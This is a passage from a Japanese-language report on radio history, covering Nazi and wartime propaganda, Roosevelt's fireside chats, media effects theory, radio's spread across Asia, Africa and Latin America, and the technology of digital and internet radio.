&lt;div&gt;&lt;span&gt;- フランクリン・ルーズベルト大統領の「炉辺談話」は、ラジオを通じて国民に直接語りかける新しい政治手法として注目された&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ナチス・ドイツのラジオプロパガンダ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **国民受信機（Volksempfänger）**: 1933年、ナチス政権は低価格のラジオ受信機「国民受信機」を開発・販売。価格は76ライヒスマルク（当時の平均月収の約1/3）で、一般家庭でも購入可能な価格に設定された。1939年までに約700万台が販売され、ドイツ全土でナチスのプロパガンダが広範囲に伝播した。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **放送内容**: ヒトラーの演説、ナチスの思想、反ユダヤ主義のプロパガンダ、戦争の正当化などが繰り返し放送された。特に、ヒトラーの演説は、ラジオを通じて全国に同時中継され、国民の一体感を醸成した。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **情報統制**: ナチスは、ラジオ放送を完全に統制し、反ナチスの情報を排除した。外国放送の受信を禁止し、違反者は厳しく処罰された。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **効果**: ラジオによるプロパガンダは、ナチスの権力掌握と維持に大きな役割を果たした。特に、教育水準が低い層や地方の住民に対して、効果的に影響を与えた。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 批判的分析：ナチス・ドイツのラジオプロパガンダの負の側面&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **情報の一元化**: ナチスは、ラジオ放送を完全に統制することで、国民が接する情報を一元化した。これにより、多様な意見や批判的な情報が排除され、国民の判断力が低下した。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **批判的思考の抑制**: 繰り返し放送されるプロパガンダは、国民の批判的思考を抑制し、盲目的な服従を促進した。特に、ヒトラーの演説は、感情に訴えかける内容で、理性的な判断を妨げた。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **外国情報の遮断**: 外国放送の受信を禁止し、違反者を厳しく処罰することで、ナチスは国民が外部の情報にアクセスすることを阻止した。この情報統制は、ナチスの政策に対する批判を封じ込めることに成功した。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **現代への示唆**: ナチス・ドイツの事例は、メディアの統制が民主主義の基盤を弱体化させることを示している。現代のデジタルメディアにおいても、情報の一元化やエコーチェンバー（同質的な意見のみが共有される空間）の形成は、同様の危険性を持つ。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### フランクリン・ルーズベルトの「炉辺談話」（Fireside Chats）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **開始**: 1933年3月12日、大恐慌の最中、ルーズベルト大統領は初めての「炉辺談話」を実施。銀行休業について国民に直接説明した。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **特徴**: ルーズベルトは、ラジオを通じて、まるで家族の一員に語りかけるような親しみやすい口調で、複雑な政策を分かりやすく説明した。この手法は、大統領と国民の間の直接的なコミュニケーションを実現し、国民の信頼を得ることに成功した。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **放送回数**: 1933年から1944年まで、計30回の「炉辺談話」が実施された。主なテーマは、ニューディール政策、第二次世界大戦、戦時経済などであった。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **社会的影響**: 「炉辺談話」は、ラジオの政治的利用の成功例として知られ、後の大統領たちも同様の手法を採用した。また、ラジオが政治的な影響力を持つメディアであることを実証した。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 一次史料からの引用&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ルーズベルト大統領は、1933年3月12日の最初の「炉辺談話」で、銀行休業について国民に説明した（注：具体的な発言内容については、The Public Papers and Addresses of Franklin D. Rooseveltや米国国立公文書館の記録を参照。一般的には、銀行制度の健全性を確保するため、すべての銀行を一時的に休業させたことについて説明したとされている）。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この「炉辺談話」の効果について、当時の新聞は報じたとされる（注：具体的な記事の内容については、一次史料の確認が必要。一般的には、大統領の語りかけが国民の不安を和らげ、銀行制度への信頼を回復させたとされている）。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 情報統制の可能性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオは、情報の一元化と統制を可能にした&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 政府や権力者が、ラジオを利用して特定の情報や思想を広めることが可能になった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この情報統制の可能性は、民主主義の課題として認識されるようになった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 情報統制の具体的事例と批判的分析&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **ナチス・ドイツの情報統制**: 1933年、ナチス政権は「国民啓蒙・宣伝省」を設立し、ラジオ放送を完全に統制した。反ナチスの情報は排除され、外国放送の受信は禁止された。この情報統制は、ナチスの権力掌握と維持に大きな役割を果たしたが、同時に、国民の判断力を奪い、批判的思考を抑制したという負の側面も持っていた。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **ソ連のラジオ統制**: ソ連では、ラジオ放送が国家のプロパガンダの主要な手段として利用された。すべてのラジオ局が国家の管理下に置かれ、反体制的な情報は完全に排除された。この情報統制は、国民の情報アクセスを制限し、多様な意見の存在を隠蔽した。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **日本の戦時ラジオ統制**: 1941年の太平洋戦争開戦後、日本ではラジオ放送が戦時プロパガンダの手段として利用された。NHKは政府の管理下に置かれ、戦況の正確な情報が国民に伝えられなかった。この情報統制は、国民の判断を誤らせ、戦争の長期化に寄与した可能性がある。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **批判的考察**: ラジオの情報統制は、短期的には権力者の目的達成に有効であるが、長期的には社会の健全な発展を阻害する。情報の多様性が失われることで、批判的思考が抑制され、民主主義の基盤が弱体化する。現代のデジタルメディアにおいても、同様の課題が存在する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### メディア効果理論とラジオ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ラジオの社会的影響に関する研究は、メディア効果理論の発展に大きく貢献した：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **強力効果モデル（Powerful Effects Model）**: 1930年代から1940年代にかけて主流だった理論。メディア（特にラジオ）は、聴取者に直接的に強力な影響を与えるとされた。「宇宙戦争」事件は、この理論の実証例として引用された。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **限定的効果モデル（Limited Effects Model）**: 1940年代後半から1960年代にかけて発展した理論。メディアの効果は、個人の既存の態度、社会的関係、選択的接触などの要因によって制限されるとされた。ラジオの選挙報道の研究から、メディアの効果は限定的であることが示された。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **議題設定機能（Agenda-Setting Function）**: 1970年代に提唱された理論。メディアは、人々が何について考えるか（議題）を設定するが、何を考えるか（意見）は設定しないとされた。ラジオのニュース放送は、国民の関心を特定の話題に集中させる役割を果たした。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### メディア効果理論の進化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;timeline&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    title メディア効果理論の発展&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    1930-1940 : 強力効果モデル&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;                : ラジオは直接的に強力な影響&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;                : 宇宙戦争事件が実証例&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    1940-1960 : 限定的効果モデル&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;                : 個人の態度・社会的関係が影響&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;                : ラジオ選挙報道の研究&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    1970 : 議題設定機能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;          : 何について考えるかを設定&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;          : ラジオニュースの役割&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    1970 : 使用と満足理論&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;          : 能動的なメディア選択&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;          : ラジオリスナーの動機&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 19. 国際比較：アジア・発展途上国でのラジオ普及&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 19.1 アジア諸国でのラジオ普及&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 中国&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **初期の展開**: 1923年、上海で最初のラジオ放送が開始された。当初は外国企業が運営していたが、1927年に国民政府がラジオ放送を統制し始めた。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **国主導の普及**: 日本と同様に、中国でもラジオは国主導で普及した。教育、文化、政治宣伝の手段として活用された。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **普及率**: 1949年の建国時点で、ラジオ受信機の普及率は低かったが、1950年代から1960年代にかけて、農村部への普及が進んだ。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### インド&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **植民地時代**: 1923年、イギリス領インドで最初のラジオ放送が開始された。当初はイギリス人向けの放送が中心であった。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **独立後の展開**: 1947年の独立後、インド政府はラジオを国民統合と教育の手段として活用した。多言語放送により、多様な民族・言語集団に情報を提供した。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **農村部への普及**: インドでは、ラジオが農村部の情報アクセスの主要な手段となった。識字率が低い地域でも、ラジオを通じて情報を得ることができた。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 韓国&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **日本統治時代**: 1927年、朝鮮総督府がラジオ放送を開始した。日本語と朝鮮語の両方で放送され、統治の手段として利用された。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **独立後の展開**: 1945年の独立後、韓国政府はラジオを国語の標準化と国民統合の手段として活用した。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **商業放送の導入**: 1954年、韓国初の商業ラジオ局が開局し、公共放送と商業放送が並存する体制が確立された。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 19.2 発展途上国でのラジオ普及&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### アフリカ諸国&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **植民地時代**: 1920年代から1930年代にかけて、アフリカの植民地でもラジオ放送が開始された。主に植民地支配者向けの放送が中心であった。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **独立後の展開**: 1960年代の独立後、アフリカ諸国はラジオを国民統合と開発の手段として活用した。多言語放送により、多様な民族集団に情報を提供した。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **農村部への普及**: アフリカでは、ラジオが農村部の情報アクセスの主要な手段となった。識字率が低く、インフラが未整備な地域でも、ラジオを通じて情報を得ることができた。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラテンアメリカ諸国&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **初期の展開**: 1920年代から1930年代にかけて、ラテンアメリカ諸国でもラジオ放送が開始された。主に都市部を中心に普及した。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **商業放送の展開**: ラテンアメリカでは、商業放送が主流となり、広告収入により運営された。音楽番組、特にラテン音楽の放送が人気を博した。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **政治利用**: ラジオは、政治的なメッセージを広範囲に伝達する手段としても活用された。特に、ポピュリスト政治家がラジオを利用して支持を拡大した。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 19.3 国際比較のまとめ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 普及パターンの違い&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **国主導型**: 日本、中国、ソ連などでは、ラジオが国主導で普及した。教育、文化、政治宣伝の手段として活用された。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **市場原理型**: アメリカ、イギリス、ラテンアメリカ諸国などでは、ラジオが市場原理により普及した。商業放送が主流となり、広告収入により運営された。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **混合型**: フランス、ドイツなどでは、公共放送と商業放送が並存する体制が確立された。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 社会的役割の違い&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **国民統合**: 多民族国家や新興独立国では、ラジオが国民統合の手段として重要な役割を果たした。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **教育**: 識字率が低い地域では、ラジオが教育の手段として活用された。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **開発**: 発展途上国では、ラジオが開発情報を伝達する手段として活用された。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 20. 現代への影響と比較分析&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 20.1 ラジオからポッドキャストへ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ポッドキャストの登場&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 2000年代、インターネット技術の発展により、ポッドキャストが登場&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ポッドキャストは、ラジオの「オンデマンド」版として機能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオと同様に、音声のみのメディアとして、聴取者の想像力を刺激&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオとポッドキャストの比較&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **リアルタイム性**: ラジオはリアルタイム、ポッドキャストはオンデマンド&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **配信範囲**: ラジオは電波の届く範囲、ポッドキャストはインターネットの届く範囲（全世界）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **コンテンツの多様性**: ポッドキャストは、より多様でニッチなコンテンツが可能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **商業モデル**: ラジオは広告収入、ポッドキャストは広告収入と有料購読の両方&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 20.2 デジタルラジオとインターネットラジオ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### デジタルラジオの技術&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **DAB（Digital Audio Broadcasting）**: デジタル方式のラジオ放送&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **HD Radio**: アメリカで開発されたデジタルラジオ技術&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- デジタルラジオは、音質の向上、多チャンネル化、データ放送などの機能を提供&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### デジタルラジオの技術的詳細&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;##### DAB（Digital Audio Broadcasting）の技術的特徴&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **変調方式**: OFDM（Orthogonal Frequency Division Multiplexing、直交周波数分割多重）方式を使用。複数の搬送波を直交させて同時に送信することで、マルチパス（反射波）の影響を軽減。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **誤り訂正符号**: リード・ソロモン符号と畳み込み符号を組み合わせた誤り訂正により、雑音や干渉に対する耐性を向上。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **音声符号化**: MPEG Audio Layer II（MP2）またはAAC（Advanced Audio Coding）を使用。音声データを圧縮し、帯域幅を効率的に利用。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **周波数帯域**: 174-240 MHz（VHF帯域III）と1452-1492 MHz（L帯域）を使用。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **データ放送**: 音声に加えて、テキスト情報（曲名、アーティスト名など）や画像データを同時に送信可能。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;##### HD Radioの技術的特徴&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **ハイブリッド方式**: 既存のAM/FM放送とデジタル放送を同時に送信。既存の受信機でも従来のアナログ放送を受信可能。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **変調方式**: OFDM方式を使用し、AM放送では10 kHz、FM放送では400 kHzの帯域幅を使用。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **音声符号化**: HDC（High-Definition Coding）を使用。AM放送では約40 kbps、FM放送では約96 kbpsのビットレートで高音質を実現。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **マルチキャスト**: 1つの周波数で複数のチャンネルを同時に放送可能（例：メインチャンネルとサブチャンネル）。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **データサービス**: リアルタイムの交通情報、天気情報、ニュースなどのデータを同時に配信。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;##### デジタルラジオの技術的優位性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;| 項目 | アナログラジオ | デジタルラジオ（DAB/HD Radio） |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;|------|----------------|--------------------------------|&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| **音質** | 中程度（AM）～高音質（FM） | 高音質（CD品質に近い） |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| **雑音耐性** | 弱い（特にAM） | 強い（誤り訂正により雑音を除去） |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| **マルチパス耐性** | 弱い | 強い（OFDM方式により改善） |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| **帯域効率** | 低い | 高い（音声圧縮により効率化） |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| **データ放送** | 不可 | 可能（テキスト、画像など） |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| **マルチチャンネル** | 不可 | 可能（1つの周波数で複数チャンネル） |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| **受信機の複雑さ** | 比較的簡単 | やや複雑（デジタル信号処理が必要） |&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;##### デジタルラジオの数学的表現&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **OFDM変調**: $s(t) = \sum_{k=0}^{N-1} X_k e^{j2\pi f_k t}$（$N$: サブキャリア数、$X_k$: 各サブキャリアのデータ、$f_k$: 各サブキャリアの周波数）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **誤り訂正**: リード・ソロモン符号は、最大$t$個の誤りを訂正可能（$t = \frac{n-k}{2}$、$n$: 符号長、$k$: 情報ビット数）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### インターネットラジオ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- インターネットを通じて配信されるラジオ放送&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 地理的制約がなく、世界中どこからでもアクセス可能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ストリーミング技術により、リアルタイム配信とオンデマンド配信の両方が可能&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### インターネットラジオの技術的詳細&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **ストリーミングプロトコル**: HTTP Live Streaming（HLS）、Dynamic Adaptive Streaming over HTTP（DASH）、Real-Time Messaging Protocol（RTMP）などのプロトコルを使用。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **音声符号化**: MP3、AAC、Opusなどの音声符号化方式を使用。ビットレートは32 kbps（低品質）から320 kbps（高品質）まで選択可能。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **適応的ビットレート**: ネットワークの帯域幅に応じて、自動的にビットレートを調整することで、安定した再生を実現。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **地理的制約の解消**: インターネットラジオは、電波の届く範囲に制約されず、世界中どこからでもアクセス可能。これにより、地域を超えた文化的交流が促進された。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **オンデマンド配信**: ポッドキャスト形式により、リスナーは好きな時間に番組を聞くことが可能。これにより、ラジオの「リアルタイム性」という制約が緩和された。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 20.3 メディア環境の変化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### マルチメディア時代のラジオ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 現代では、ラジオは単独のメディアではなく、マルチメディア環境の一部として機能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオ局は、ウェブサイト、SNS、ポッドキャストなど、複数のプラットフォームでコンテンツを提供&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- リスナーは、ラジオを聞きながら、同時にウェブサイトで情報を確認したり、SNSで交流したりできる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### メディアの統合と融合&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオ、テレビ、インターネット、SNSなどのメディアが統合され、新しいメディア体験が生まれている&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオの「音声のみ」という特性は、現代のマルチタスク環境において、むしろ利点となっている&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオは、移動中、作業中、運動中など、視覚的な注意を必要としない場面で活用されている&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 21. 理論的枠組みとメディア研究&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 21.1 メディア効果理論&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 強力効果モデルから限定的効果モデルへ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ラジオの社会的影響に関する研究は、メディア効果理論の発展に大きく貢献した：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **強力効果モデル（1930-1940年代）**: メディア（特にラジオ）は、聴取者に直接的に強力な影響を与えるとされた。「宇宙戦争」事件は、この理論の実証例として引用された。このモデルは、「皮下注射モデル」や「弾丸理論」とも呼ばれ、メディアのメッセージが直接的に人々の態度や行動を変化させると考えられた。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **限定的効果モデル（1940-1960年代）**: メディアの効果は、個人の既存の態度、社会的関係、選択的接触などの要因によって制限されるとされた。ラジオの選挙報道の研究から、メディアの効果は限定的であることが示された。このモデルは、「二段階の情報伝達理論」や「選択的接触理論」などにより発展した。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **議題設定機能（1970年代）**: メディアは、人々が何について考えるか（議題）を設定するが、何を考えるか（意見）は設定しないとされた。ラジオのニュース放送は、国民の関心を特定の話題に集中させる役割を果たした。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 使用と満足理論&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **使用と満足理論（Uses and Gratifications Theory）**: 1970年代に発展した理論。人々はメディアを能動的に選択し、特定の欲求を満たすために使用するとされた。ラジオのリスナーは、情報、娯楽、社会的交流などの欲求を満たすためにラジオを聞くとされた。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 21.2 公共性理論&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ハーバーマスの公共性理論&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **公共圏（Public Sphere）**: ユルゲン・ハーバーマスは、18世紀のコーヒーハウスやサロンで形成された「公共圏」を分析した（出典：Jürgen Habermas, "Strukturwandel der Öffentlichkeit", 1962年、日本語版：『公共性の構造転換』、未来社、1994年、pp. 45-78）。ラジオは、20世紀の新しい公共圏を形成したとされる。しかし、ハーバーマスは、ラジオの商業化が公共圏の「再封建化」を促進したと批判的に指摘している。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **商業化と公共性の緊張**: ラジオの商業化は、公共性と商業性の緊張関係を生み出した。公共放送と商業放送の並存は、この緊張関係の表れである。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **情報の民主化**: ラジオは、情報へのアクセスを民主化し、新しい公共圏の形成に貢献した。しかし、同時に、情報の統制やプロパガンダの手段としても利用された。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 21.3 メディア技術決定論&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### マクルーハンの「メディアはメッセージ」&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
